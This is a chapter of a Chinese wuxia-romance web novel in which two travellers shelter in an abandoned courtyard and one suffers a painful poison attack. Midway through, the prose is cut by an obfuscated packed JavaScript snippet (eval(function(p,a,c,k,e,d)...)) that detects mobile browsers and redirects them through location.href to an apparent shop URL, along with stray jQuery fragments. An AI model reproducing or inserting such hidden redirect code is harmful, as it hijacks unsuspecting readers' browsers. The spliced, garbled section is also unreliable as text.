71. 山神显灵(一)
作品:《师父白切黑了怎么办》 一路北上,雪花簌簌落下,光秃秃的树枝被摧折得毫无生机,只盼来年开春时,依旧绿叶如新。
江怀雪和谢辞骑马从平江出发,一路往旭阳而去。
踏云门有韩末坐镇,暂时不会出什么大事。
谢辞虽然得韩末三成内力,但百殇蠖依然难以压制,若寻不到金虫参,那不知道又还熬得过几次毒发。
这一路江怀雪都不敢走得太快,唯恐一路颠簸叫谢辞吃不消。
不过好在韩末给予的内力的确起了作用,谢辞的脸色看起来终于是好了些,一连大半月也都没有毒发。
他们出发的时候,平江一连晴了好几日,路上早已没有多少积雪了。
可往北走了半月之后,连路过的湖泊都已经结冰,路旁的树林里都有好些没有化的冰。
“越往北走就越冷了,我们带的干粮被褥应当足够。”江怀雪看到前面有一处荒废的小院,便在这里停了下来,“赶到下一个镇子可能得半夜了,就在这里将就住一晚上吧。”
离旭阳已经不远了,他们没必要这么急着赶路。
两人将马牵进院子里,这小院里荒草丛生,但那些草正好割了可以铺在地上,晚上休息的时候也好舒服些。
院子里还有一口井,这么冷的天却也还没有结冰,晚上正好可以打些水来烧。
谢辞想把马背上的被褥都卸下来,却被江怀雪拉到了一旁:“赶了一天的路,别再累着了,那边我已经铺好干草了,去坐着休息会儿。”
谢辞无奈的笑笑:“怀雪,我倒也没有这么肩不能提手不能扛,我咳咳——”
谢辞话还没说完,却喉中一痒又咳了起来。
江怀雪把他推到屋子里坐下,又拿来银狐裘给他披上,最后拾来够烧一整夜的柴火,并点燃了一堆。
这小院虽然荒芜,但倒也不算破败,屋子的门窗尚且都完好,关上之后寒风灌不进来,屋子里倒也算是暖和。
他们刚收拾好,有一个风尘仆仆的少年就敲响了门。
“这里离前面的镇子太远,今晚天黑恐怕都赶不到,不知我能否也在此借宿一宿,住隔壁屋子?”那少年人一双眼干净透彻,笑起来很甜。
江怀雪打量他片刻点了点头:“我们也不过借宿在此,你若愿意住下,倒也有个照应。”
少年笑着谢过,抱拳行礼时江怀雪注意到他的手都被冻得有些发白。
“先来烤烤火吧,晚点儿再把隔壁屋子收拾出来。”
少年便在篝火旁坐下,他也是个活络的性子,说自己叫何时夕,来自旭阳的灵山村,冬日里便靠着挖附近才有的一种野参换点儿银钱,这次出来采药却一不小心走远了些,所以才不得不夜宿此地。
江怀雪分给他些干粮和柴火,他道谢后去旁边的屋子收拾好准备睡下。
“我们应当明日就能到旭阳,秋子萧说他安排了人来成门外接我们,那边住处和药材都已经准备好了,你就算毒发也有照应。”江怀雪拿了些干粮放到篝火边上,然后在谢辞身旁坐下来。
谢辞点点头,缩在银狐裘里的面颊被篝火烤得暖融融的,泛起好久都没有过的浅红气色。
江怀雪歪头,目不转睛的看着近在咫尺的谢辞。
江怀雪在出发前已经从秋子萧口中得知谢辞这些年是中了蛊毒,而非所谓的旧疾。
至于具体是什么蛊,秋子萧却没有提。
江怀雪也不多问,她只是在等谢辞什么时候愿意说了,再同她讲。
但现在谢辞却还是不愿多说的,他将被篝火烤得焦香的饼递到江怀雪手里:“看我作甚,再好看也总归是不能当饭吃的。”
“噢……啊?”江怀雪后知后觉的反应过来,他调侃都还不忘夸自己两句。
谢辞看着江怀雪发愣的模样轻笑起来,如沐春风的笑意比那篝火更暖了人心。
江怀雪终于意识到,谢辞在逗她。
就像小时候一样,总是喜欢把她逗得不知所措。
江怀雪想到这里,撕下一小块饼放进嘴里,狠狠咬了一口。
算了,逗就逗吧。
这八年过去,江怀雪原本都不敢再抱什么期望了,现在谢辞还活着,对她来说就已经是从前想也不敢想的奢求。
是夜,屋外的已经漆黑一片,不见一点儿光亮。
但屋子里的篝火就没有断过,暖融融的让人容易困倦,江怀雪裹着被子坐在篝火旁,没一会儿就迷迷糊糊闭上了眼。
半睡半醒间失去重心,江怀雪便时不时往前倾倒。
谢辞见状便将她往自己这边拉了拉,让她枕着自己肩头睡下。
江怀雪的脸颊挨着那毛茸茸的银狐裘,她不自知的蹭了蹭,找了个更舒服些的角度靠着谢辞,打个哈欠睡得更沉了。
谢辞垂头,便能看见江怀雪的睡颜。
八年的时间,她跟记忆中的模样已经判若两人,也再不是从前那个柔柔弱弱需要人保护的小孩子了。
若是将来她独自一人闯荡江湖,想来也是不会吃亏的了。
谢辞在一旁坐着,却一点儿困意都没有,他突然觉得这夜里还是有些太冷,于是将手伸出狐裘靠近篝火。
可他都快要接触到那火光了,也没有感觉到多少暖意。
不对,屋子里算得上暖和才对,他怎么会觉得这么冷?
这是……百殇蠖又蛊毒发作了!
心头一阵强过一阵的痛意排山倒海般的袭来,谢辞垂眸看到靠在自己肩头的江怀雪,拼尽全力的稳住身形不想惊醒了方才睡着没一会儿的人儿。
可毒发的痛实在是难捱,谢辞的手无意识的抓紧了狐裘,似乎是手上用力些,心头的痛楚便能被分散些。
但这样剧烈的疼痛又哪里是可以忽视的,心脉之中的痛如同烈焰灼烧般的尖锐,身体却又冷得不像话,仿佛不是身处于暖融融的篝火旁,而是站在冰天雪地的寒风之中。
这样冷热交织的痛的确是不好过。
谢辞深吸一口气咬紧牙关,拼命想用内力将这痛楚压制住,然而却收效甚微。
明明心头火燎般的痛,四肢躯干又当真冷得厉害,透骨刺痛。
江怀雪感觉到谢辞肩头微微的颤动,缓缓睁开眼来。
她睁眼便看到谢辞满目的痛楚,身子抖得厉害。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928847|130008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“谢辞……”江怀雪慌忙清醒过来,拿出沈渡舟之前给她的药给谢辞喂下,然后又运转内力试图帮上他些许,只可惜都用处不大。
在旁边屋子还没有睡下的何时夕被惊动,他推门看到谢辞的面色如此难看,被吓得不轻。
“他这……这是怎么了?”何时夕紧张道,“这荒郊野岭现在也找不到大夫!”
江怀雪持续将内力渡给谢辞,抬头对何时夕道:“旧疾发作罢了,不必太过忧心,你先去休息吧。”
她知道何时夕是好意,但现在旁人也帮不上他什么,只能靠他自己扛过蛊毒发作。
何时夕走出屋子,却怎么想怎么放不下心,他在自己的背篓里翻了翻,找到些草药根茎,然后冒着寒风走到外面的井边打水清洗干净。
屋子里没风的地方并不算冷,但屋外寒风刺骨,他站了一会儿就觉得脸颊都被冻得发痛,更别说触碰了冷水的手指,都已经被冻得有些没了知觉。
何时夕将草药洗干净后又找来一个陶罐洗净,然后将药熬上。
他不懂什么医术,但常年采些草药换钱,就也记住了部分药性,他不知道谢辞到底是什么旧疾,但这几样草药左右都没有什么禁忌,多少也能减缓痛楚,让人好受些。
何时夕将药给谢辞端了去谢辞倚在江怀雪身侧,已然有些神志不清。
“这几种草药都是止痛的,你喂他喝点儿,应该能好受些。”何时夕将药放下,“其他我好像也帮不上什么忙,我就在旁边,你们有事的话尽管叫我。”
何时夕走后,江怀雪看过药渣,只是几种常见的草药,没有什么问题,她便喂谢辞喝了些。
温热的药汤喝下去,周身似乎暖和了些,但胸膛中火烧般的痛又更甚了。
剧痛吞噬着谢辞的神智,他缩在狐裘中不住的颤抖,微微睁开的眼眸涣散没有神采。
分明痛得额头上满是冷汗,但谢辞手脚冰凉,将狐裘裹得尤为的紧。
江怀雪想了想,用被褥将自己和谢辞一起围住,然后隔着银狐裘将谢辞抱在怀中,希望这他能暖和些。
江怀雪一手抱紧谢辞腰侧,一手将被褥拉紧了些,寒风再透不进来分毫。
“我抱着你,会暖和些……”江怀雪说着,声音带着无措的彷徨。
可谢辞并没能回答。
她低头,见谢辞紧闭双眼,掩盖住眸中痛苦之色,小幅度的喘息中带着压抑不住的痛苦呻吟。
曾经那么桀骜不可一世的江湖第一,如今又还剩几分从前的肆意轻狂……
他在江怀雪怀中轻颤着肩膀,如风中残烛一般随时都会熄灭了生命的火光。
明明毒发的是谢辞,江怀雪的心头却痛得厉害,她从来没有想过,原来找到他之后还会比没找到时更痛。
“怀雪……”他在半梦半醒中不自知的轻声唤着。
江怀雪在狐裘中握住谢辞微凉的手,将怀中人抱得更紧了些。
“八年的时间,每一次蛊毒发作,都是这么痛么……”江怀雪带这些泣声,泪水滑落下来,沾湿了谢辞披风的银狐裘,“你又……还能撑得了多长时间呢?”